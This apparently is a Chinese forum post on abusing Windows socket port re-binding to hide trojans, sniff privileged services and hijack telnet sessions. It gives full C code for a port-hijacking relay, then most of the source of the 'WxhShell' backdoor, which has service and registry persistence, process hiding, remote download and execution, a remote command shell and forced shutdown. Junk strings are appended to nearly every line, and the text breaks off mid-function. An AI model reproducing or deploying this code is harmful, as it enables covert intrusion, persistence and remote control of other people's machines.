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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PP{ 9Y Vr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~;9n6U  
c#TY3Z|  
  saddr.sin_family = AF_INET; x</4/d  
sJKr%2nVV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zb 2pZhkW  
M?YNK]   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PwW$=M{\.  
]+Lr'HF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #I?Z,;DI=  
(mp  
  这意味着什么?意味着可以进行如下的攻击: kJmwR  
MlYm\x8{M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B!pz0K*uG  
9vP;i= fr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0?$|F0U"J  
(=uT*Cb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 la<.B^  
}| MX=:@*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <[\I`kzq  
{Vj&i.2,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VIdKe&,  
c45 s #6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Tr,BfV|Bf  
U2m#BMV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 peu9B gs  
F$\Da)Y  
  #include YA,~qT|  
  #include Qu[QcB{ro-  
  #include IrQ.[?C  
  #include    8)bR\s   
  DWORD WINAPI ClientThread(LPVOID lpParam);   >I\B_q  
  int main() s>o#Ob@4'  
  { yn}Dj9(q  
  WORD wVersionRequested; ,B'=$PO%  
  DWORD ret; dscah0T  
  WSADATA wsaData; #dae^UjM  
  BOOL val; OJpfiZ@Q_  
  SOCKADDR_IN saddr; tgKr*8t{  
  SOCKADDR_IN scaddr; iOg4(SPci  
  int err; dvjj"F'Bf  
  SOCKET s; \"(?k>]E  
  SOCKET sc; xx!8cvD4?  
  int caddsize; vQLYWRXiA  
  HANDLE mt; H9)n<r  
  DWORD tid;   't`h?VvL  
  wVersionRequested = MAKEWORD( 2, 2 ); ,:PMS8pS  
  err = WSAStartup( wVersionRequested, &wsaData ); 53{\H&q  
  if ( err != 0 ) { ^+D/59I  
  printf("error!WSAStartup failed!\n"); nC p/.]Y*  
  return -1; ?d3K:|g  
  } xH\\#4/  
  saddr.sin_family = AF_INET; :W0p3 6"  
   xg/(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3eE=>E4,  
\85%d0@3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BS fmS(.  
  saddr.sin_port = htons(23); 5(ZOm|3ix  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Axsezr/  
  { =!q]0#  
  printf("error!socket failed!\n"); `z'8"s  
  return -1; 7JBs7LG  
  }  bUS:c 2"  
  val = TRUE; $B-/>Rz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gw3+TvwU+Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { .$7g8]I  
  { n7bVL#Sq[  
  printf("error!setsockopt failed!\n"); Ob]\t/:%P  
  return -1; z )hK2JD  
  } \)/qCeiZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QD,m`7(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G,!jP2S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2*V%S/cck  
8_!qoW@B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Eh8GqFEM  
  { Oh1U=V2~  
  ret=GetLastError(); CmBP C jh  
  printf("error!bind failed!\n"); $/"Ymm#"\Y  
  return -1; K*j OrQf`  
  }  #B~ ;j5  
  listen(s,2); zgjgEhnvU  
  while(1) Xw9]WJc  
  { 9ia&/BT7"z  
  caddsize = sizeof(scaddr); gS<p~LPf  
  //接受连接请求 h>!h|Ma  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <lFHmi$qt{  
  if(sc!=INVALID_SOCKET) NxnR QS  
  { ?<t?G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F}l3\uC]  
  if(mt==NULL) @I4HpY7:  
  { h81giY]  
  printf("Thread Creat Failed!\n"); (nLzWvN  
  break; h!dij^bD  
  } |Jx:#OM  
  } \"ogQnmz  
  CloseHandle(mt); $Mg O)bH  
  } 9`92 >  
  closesocket(s); !:\0}w$-  
  WSACleanup(); %TI3Eb  
  return 0; A v>v\ :.>  
  }   t"Du  
  DWORD WINAPI ClientThread(LPVOID lpParam) [O\ )R[J  
  { tb?TPd-OY  
  SOCKET ss = (SOCKET)lpParam;  Me z&@{  
  SOCKET sc; xT&/xZLT  
  unsigned char buf[4096]; W3/] 2"0  
  SOCKADDR_IN saddr; " l|`LjP5M  
  long num; *P\lzM  
  DWORD val; -l}"DP _  
  DWORD ret; fPTLPcPP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nL^7t7mp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }~LGq.H  
  saddr.sin_family = AF_INET; }f;TG:6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a=ZVKb  
  saddr.sin_port = htons(23); a\m=E#G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ='.b/]!_  
  { Y*9vR~#H  
  printf("error!socket failed!\n"); l$!ExXEZO;  
  return -1; O D5qPovsd  
  } &jEw(P&_  
  val = 100; e%:vLE 9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OD[=fR|cp  
  { :KC]1_zqR  
  ret = GetLastError(); k {{eyC  
  return -1; ,^ ,R .T  
  } j@nK6`d+1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Bs  t|  
  { bO$KV"*!  
  ret = GetLastError(); q}jh>`d  
  return -1; 4#W$5_Ny  
  } 3bGU;2~}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q@S \R 7R  
  { roriNr/ e  
  printf("error!socket connect failed!\n"); 21<Sfsc$  
  closesocket(sc); 30w(uF  
  closesocket(ss); xv>8rW(Np5  
  return -1; oJ5n*[qUI  
  } FDF DB  
  while(1) "}0QxogYE  
  { 'p!&&.%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #Q_Scxf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .0/"~5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dw}ge,bBic  
  num = recv(ss,buf,4096,0); sw1gpkX  
  if(num>0) &<&eKq  
  send(sc,buf,num,0); {LKW%G7  
  else if(num==0) g|^U?|;p  
  break; StNA(+rT  
  num = recv(sc,buf,4096,0); 3^H-,b0^  
  if(num>0) 6e,IjocsB  
  send(ss,buf,num,0); eGKvzu  
  else if(num==0) (:H4  
  break; 6L~5qbQ  
  } RK&RMN8@  
  closesocket(ss); yHf^6|$8  
  closesocket(sc); /i!/)]*-  
  return 0 ; 3# 0Nd"/0  
  } dZkKAK:v  
{O=_c|u{N  
~t*_  
========================================================== [ x.]  
!*qQ 7  
下边附上一个代码,,WXhSHELL jX$U)O  
_jCu=l_  
========================================================== =`MQKh,  
iH)vLD  
#include "stdafx.h" )ARV>(  
oO &%&;[/A  
#include <stdio.h> XGnC8Be{4  
#include <string.h> v~dUH0P<>e  
#include <windows.h> qMqf7 .  
#include <winsock2.h> <c(%xh46  
#include <winsvc.h> >6(e6/C-9  
#include <urlmon.h> Rh@UxNy\,  
iqd7  
#pragma comment (lib, "Ws2_32.lib") KAy uv  
#pragma comment (lib, "urlmon.lib") bC&xN@4  
i94)DWZ^  
#define MAX_USER   100 // 最大客户端连接数 ~ ^~+p  
#define BUF_SOCK   200 // sock buffer 8f&#WIZ  
#define KEY_BUFF   255 // 输入 buffer (H|^Ow5  
gHvkr?Cg  
#define REBOOT     0   // 重启 `LTD|0;  
#define SHUTDOWN   1   // 关机 Jj1lAg 0  
kkT=g^D9j  
#define DEF_PORT   5000 // 监听端口 6se[>'5  
7c'OIY].,  
#define REG_LEN     16   // 注册表键长度 ]4_)WUS.c  
#define SVC_LEN     80   // NT服务名长度 i[e-dT:*R  
1[?xf4EMG  
// 从dll定义API 2 :^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pN;Tt+}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \T`iq[+6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7I@@}A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u9}LvQh_6,  
c=:A/z{  
// wxhshell配置信息 kqS_2[=]  
struct WSCFG { v kW2&  
  int ws_port;         // 监听端口 2\xEMec  
  char ws_passstr[REG_LEN]; // 口令 ?trqe/  
  int ws_autoins;       // 安装标记, 1=yes 0=no }~NWOJ3;  
  char ws_regname[REG_LEN]; // 注册表键名 3q(]Dg;v  
  char ws_svcname[REG_LEN]; // 服务名 rEs Gf+4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YksJ$yH^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1d~cR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6:Zd,N=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nTXM/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5sF?0P;ln  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *| YR8f  
_dw6 C2]P  
}; :eTzjW=  
D5fhOq+g  
// default Wxhshell configuration k/#321Z  
struct WSCFG wscfg={DEF_PORT, zlN<yZB^  
    "xuhuanlingzhe", ~f!iz~  
    1, (Z};(Hn  
    "Wxhshell", 2/G`ej!*  
    "Wxhshell", ]g0\3A  
            "WxhShell Service", 5Og=`T  
    "Wrsky Windows CmdShell Service", ePwoza  
    "Please Input Your Password: ", w}QU;rl8q  
  1, wfF0+T+IA  
  "http://www.wrsky.com/wxhshell.exe", )3KQ QGi8  
  "Wxhshell.exe" y e1hcQ  
    }; %'i`Chc^!;  
`!iVMTp  
// 消息定义模块  Wfyap)y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SAw. 6<Wy-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZzV%+n7<Vx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qx3`5)ef  
char *msg_ws_ext="\n\rExit."; C Ejf&n  
char *msg_ws_end="\n\rQuit."; =WP`i29j9}  
char *msg_ws_boot="\n\rReboot..."; _^pg!j[Fy}  
char *msg_ws_poff="\n\rShutdown..."; 4XL]~3 c  
char *msg_ws_down="\n\rSave to "; `$, \B  
O E56J-*}x  
char *msg_ws_err="\n\rErr!"; a8!/V@a  
char *msg_ws_ok="\n\rOK!"; Epf[8La  
yzQ^KqLH  
char ExeFile[MAX_PATH]; *~%# =o  
int nUser = 0; Z39I*-6F9W  
HANDLE handles[MAX_USER]; ir*T ,O 2J  
int OsIsNt; 8 m T..23  
v"dj%75O?e  
SERVICE_STATUS       serviceStatus; 89{@2TXR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g` QbJ61a  
QX j4cg  
// 函数声明 N [iv.B  
int Install(void); w\z6-qa  
int Uninstall(void); Z#lZn!EbK  
int DownloadFile(char *sURL, SOCKET wsh); D.\s mk  
int Boot(int flag); }6V` U9 ^g  
void HideProc(void); " %)zTH  
int GetOsVer(void); h5?yrti  
int Wxhshell(SOCKET wsl); pK~K>8\  
void TalkWithClient(void *cs); Tv{X$`%  
int CmdShell(SOCKET sock); ]M;aVw<!  
int StartFromService(void); aN5w  
int StartWxhshell(LPSTR lpCmdLine); \y G//  
elBmF#,j 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _XqD3?yH4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Gj|X>0  
k*8 ld-O  
// 数据结构和表定义 do:3aP'S,  
SERVICE_TABLE_ENTRY DispatchTable[] = {)QSxO  
{ xN +j]L C  
{wscfg.ws_svcname, NTServiceMain}, .D`""up|{  
{NULL, NULL} 5`B ! 1  
}; ;(0E#hGN  
fQ^45ulz  
// 自我安装 /k(KA [bS  
int Install(void) iS{8cN3R  
{ Q( C\X  
  char svExeFile[MAX_PATH]; ;n Pjyu'g  
  HKEY key; CR-6}T   
  strcpy(svExeFile,ExeFile); + W ? / A]  
JZ5N Q)sX  
// 如果是win9x系统,修改注册表设为自启动 _[,oP s:+  
if(!OsIsNt) { 8yH*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'ju{j`b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$Q$y hT{  
  RegCloseKey(key); :Qg3B ';  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 ap~;t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 75t\= 6#  
  RegCloseKey(key); =?} t7}#  
  return 0; sz'IGy%  
    } 2sJj -3J  
  } /=zzym~<>  
} HrUQ X4  
else { wsyG~^>  
wj fk >  
// 如果是NT以上系统,安装为系统服务 ==[a7|q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8\BCC1K  
if (schSCManager!=0) / ;U  
{ s^X(G!V{c  
  SC_HANDLE schService = CreateService F j_r n  
  ( NM0[yh  
  schSCManager, Cz2OGM*mz?  
  wscfg.ws_svcname, %=:*yf>}  
  wscfg.ws_svcdisp, qYHAXc}$  
  SERVICE_ALL_ACCESS, FF"6~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &95iGL28Q  
  SERVICE_AUTO_START, ?NZKu6  
  SERVICE_ERROR_NORMAL, .!ThqYo  
  svExeFile, vV.TK_ y  
  NULL, JfmNI~%  
  NULL, 1sL#XB$@N  
  NULL, x(/KHpSWK  
  NULL, =(f+geA"hm  
  NULL A4,tv#z  
  ); _`>F>aP  
  if (schService!=0) oaI|A^v  
  { ;- D1n  
  CloseServiceHandle(schService); =)Cqjp  
  CloseServiceHandle(schSCManager); B5>1T[T'-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (vCMff/ Y1  
  strcat(svExeFile,wscfg.ws_svcname); gO*:< B g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CKShz]1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lP>}9^7I!  
  RegCloseKey(key); D-7PO3F:F  
  return 0; H[ 6L!  
    } ?UC3ES  
  } ), >jBYMJ  
  CloseServiceHandle(schSCManager); L lmdydC%  
} ;-=Q6Ms8  
} bWN%dn$$M  
'-s Ai  
return 1; KdT1Nb=  
} V[<]BOM\v  
=HT:p:S  
// 自我卸载 MS~c  $  
int Uninstall(void) `T H0*:aI  
{ d\Xi1&&  
  HKEY key; j tdhdA  
!`8WNY?K  
if(!OsIsNt) { p`// *gl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;=IC.<Q<}  
  RegDeleteValue(key,wscfg.ws_regname); ^qL2Q*  
  RegCloseKey(key); <eU28M?\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3V]B|^S  
  RegDeleteValue(key,wscfg.ws_regname); 6fvzTd},  
  RegCloseKey(key); P q\m8iS,w  
  return 0; Mg H,"G  
  } !xs. [&u8  
} t.sbfLu  
} si.A"\bm  
else { tETT\y|'  
k!e \O>+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 90)0\i+P  
if (schSCManager!=0) &61;v@  
{ }."3&u't  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +u%^YBr  
  if (schService!=0) shbPy   
  { )i&z!|/2  
  if(DeleteService(schService)!=0) { h^F^|WT$  
  CloseServiceHandle(schService); Sa!r ,l  
  CloseServiceHandle(schSCManager); ~~[Sz#(  
  return 0; I@VhxJh  
  } FLI\SF<  
  CloseServiceHandle(schService); ]>R|4K_  
  } NET?Ep  
  CloseServiceHandle(schSCManager); 70p1&Y7or  
} rzJNHf=FVY  
} k0IW,z%  
%} WSw~X  
return 1; 2j_YHv$I  
} `}:q@: %  
'P{0K?{H-4  
// 从指定url下载文件 Fy|tKMhnc  
int DownloadFile(char *sURL, SOCKET wsh) ta]B9&c  
{ E"l&<U  
  HRESULT hr; uGm~ Oo  
char seps[]= "/"; |;2Y|>=  
char *token; 0z) 8i P  
char *file; sS5 ]d8  
char myURL[MAX_PATH]; 7.fpGzUM  
char myFILE[MAX_PATH]; *<k8H5z8]  
.'o<.\R8  
strcpy(myURL,sURL); 70NQ9*AAy  
  token=strtok(myURL,seps); T'9I&h%\  
  while(token!=NULL) pKDP1S# <  
  { OE87&Cl"{t  
    file=token; 44 bTx y  
  token=strtok(NULL,seps); CZB!vh0  
  } 85; BS'  
FQ dz":5  
GetCurrentDirectory(MAX_PATH,myFILE); 3R(GO.n=]  
strcat(myFILE, "\\"); ~=hM y`Ml  
strcat(myFILE, file); `>CHE'_  
  send(wsh,myFILE,strlen(myFILE),0); S,Q!Xb@  
send(wsh,"...",3,0); dz fR ^Gv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }gL:"C"~  
  if(hr==S_OK) x)eYqH~i  
return 0; Ed[ tmaEuV  
else IC&xL9  
return 1; / fBi9=}+  
i oX [g  
} %H=d_Nm{  
utIR\e#:B  
// 系统电源模块 Cz=HxU80J  
int Boot(int flag) ]v=*WK  
{ [{.e1s<EK  
  HANDLE hToken; P" +!mSe^~  
  TOKEN_PRIVILEGES tkp; #<ppiu$  
_`yd"0 Ux  
  if(OsIsNt) { j)4:*R.Z]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,lK=m~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~jdvxoX-  
    tkp.PrivilegeCount = 1; 4W7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L:$kd `v[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kO:|?}Koc  
if(flag==REBOOT) { \lj.vzD-A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '6l4MR$j&m  
  return 0; *_G(*yAe(  
} {)j~5m.,/o  
else { e~ #;ux  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I&9_F% rX  
  return 0; N{L'Q0!  
} GE;S5 X]X  
  } ]dzBm!u  
  else { nx #0*r}5  
if(flag==REBOOT) { 8U,VpuQ:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Q{-4yF9k  
  return 0; Dqss/vwV  
} yo\R[i(  
else { E`#m0Q(8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Fd6Q_  
  return 0; +ZH-'l  
} ^)$(Fe<  
} 12 y=Eh  
Z(Styn/x  
return 1; P2y`d9,Q  
} j\W"P_dpd  
UQq ,Xq  
// win9x进程隐藏模块 l&rS\TCkp  
void HideProc(void) ODvlix  
{ 9a\H+Y~  
0,1x- yD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O~3<P3W  
  if ( hKernel != NULL ) iBCZx>![;  
  { ?`9XFE~a!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [bE-Uu7q5P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [k1N-';;;  
    FreeLibrary(hKernel); Be~__pd  
  } @Z0?1+k  
2~`lvx  
return; G$#Q:]N  
} }XmrfegF  
2o8:[3C5  
// 获取操作系统版本 Ynn:,  
int GetOsVer(void) U;SReWqU  
{ e}@VR<h  
  OSVERSIONINFO winfo; Ej_>*^b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k2bjBAT  
  GetVersionEx(&winfo); O} #Ic$38  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gMXs&`7P  
  return 1; 7rIz  
  else SB1j$6]OR7  
  return 0; IP?15l w  
} u{| Q[hf[  
(Dat`:  
// 客户端句柄模块 b#uNdq3  
int Wxhshell(SOCKET wsl) ?L K n  
{ [zC1LTXe  
  SOCKET wsh; P}`|8b1W  
  struct sockaddr_in client; >m$jJlAv8  
  DWORD myID; [Sr^CY P(  
8k( zU>^  
  while(nUser<MAX_USER) %wFz4 :  
{ `Wl_yC_*G;  
  int nSize=sizeof(client); QJ i5 H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W)X" G3  
  if(wsh==INVALID_SOCKET) return 1; -1_WE/Ps  
Y YE{zU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x/fhlf}a}=  
if(handles[nUser]==0) |?cL>]t  
  closesocket(wsh); T }}T`Ce  
else 1 5heLnei  
  nUser++; PFKl6_(  
  } {})d}dEC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G?M<B~}  
\DiAfx<Ub  
  return 0; C6?({ QB@  
} [S~/lm  
x/pX?k  
// 关闭 socket "[QQ(]={  
void CloseIt(SOCKET wsh) exZgk2[0  
{ BS.5g<E2q  
closesocket(wsh); .Ei#mG-=}&  
nUser--; ~GLWhe-  
ExitThread(0); cMfJq}C<  
} +F?}<P_v  
e**<et.  
// 客户端请求句柄 b F MBIA|  
void TalkWithClient(void *cs) :hBLi99 o  
{ a'%eyN  
XtZeT~/7RT  
  SOCKET wsh=(SOCKET)cs; 3v91yMx  
  char pwd[SVC_LEN]; c W1`[b  
  char cmd[KEY_BUFF]; GI<3L K\  
char chr[1]; }Ug O$1  
int i,j; oO3X>y{gN  
aBd>.]l?  
  while (nUser < MAX_USER) { s$JO3-)  
`Hx JE"/  
if(wscfg.ws_passstr) { z',f'3+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +h)1NX;o1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { .j030Q  
  //ZeroMemory(pwd,KEY_BUFF); X:/7#fcG8  
      i=0; o zMn8@R  
  while(i<SVC_LEN) { }*P?KV (  
K0{ ,*>C  
  // 设置超时  /M@[ 8  
  fd_set FdRead; 0<XxR6w  
  struct timeval TimeOut; YO9ofT  
  FD_ZERO(&FdRead); Qp;FVUw9  
  FD_SET(wsh,&FdRead); IvX+yU  
  TimeOut.tv_sec=8; w.(?O;  
  TimeOut.tv_usec=0; `J$7X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V/+D]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7.*Mmx~]=  
Hva/C{Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {pXqw'"1.  
  pwd=chr[0]; z.~jqxA9  
  if(chr[0]==0xd || chr[0]==0xa) { _7;D0l  
  pwd=0; ,YBe|3  
  break; G-TD9OgZ  
  } 2BO&OX|X  
  i++; [ <j4w  
    } 3=("vR`!  
6@;sOiN+  
  // 如果是非法用户,关闭 socket )SHB1U25{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -br): }f  
} e8eNef L$  
v"l8[::  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RB9ZaL\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LMNmG]#!  
}"&Ye  
while(1) { Ri>ZupQ6  
*/OKg;IMi  
  ZeroMemory(cmd,KEY_BUFF); `PT'Lakf;3  
0$_WIk  
      // 自动支持客户端 telnet标准   ^vJy<  
  j=0; 92ngSaNC  
  while(j<KEY_BUFF) { :_h#A }8Xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hlfdmh? /  
  cmd[j]=chr[0]; '?6j.ms M  
  if(chr[0]==0xa || chr[0]==0xd) { x@@bC=iY$  
  cmd[j]=0; 8H,k0~D  
  break; w3&L 6|,  
  } >=86*U~  
  j++; tF6-@T\6  
    } pM~-o?  
T_d)1m fl  
  // 下载文件 pjma<^|F  
  if(strstr(cmd,"http://")) { Z^J 7r&\V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Os*s{2OvO  
  if(DownloadFile(cmd,wsh)) iqFC~].)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !R![:T\,  
  else L^=G(op*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a+j"8tHu$  
  } dU2:H}  
  else { #8$" 84&N.  
SX&Q5:  
    switch(cmd[0]) { K'y|_XsBB)  
  yG;@S8zC  
  // 帮助 \}!/z]u  
  case '?': { j9X|c7|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,20l` :  
    break; j.[W] EfL~  
  } #|T2`uYotf  
  // 安装 T:".{h-i  
  case 'i': { bq9/ d4  
    if(Install()) 4(,M&NC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |D_4 iFC  
    else \uO^w J}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|fb'  
    break; fYW9Zbov-  
    } /&9R*xNST#  
  // 卸载 ^9><qKbO  
  case 'r': { +|TXKhm{  
    if(Uninstall()) c7.M\f P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3t IJz>3  
    else < FY%QB)h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); //RD$e?h~  
    break; 57q?:M=^  
    } =MvB9gx@r  
  // 显示 wxhshell 所在路径 S~R[*Gk_uT  
  case 'p': { E^0a; |B[  
    char svExeFile[MAX_PATH]; w"W;PdH)  
    strcpy(svExeFile,"\n\r"); %m|1LI(  
      strcat(svExeFile,ExeFile); IVVX3RI  
        send(wsh,svExeFile,strlen(svExeFile),0); :i|]iXEI"  
    break; :, 3S5!(y  
    } saDu'SmYV  
  // 重启 |9p0"#4u  
  case 'b': { %xKZ" #Z#K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m/;fY>}3  
    if(Boot(REBOOT)) dn:\V?9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UFC^ lv  
    else { uKj(=Rqq  
    closesocket(wsh); p/G9P +?  
    ExitThread(0); CNhLp#  
    } sk*vmxClY  
    break; *_P'>V#p  
    } z.+%{_pe  
  // 关机 u \<APn  
  case 'd': { :D eJnE  
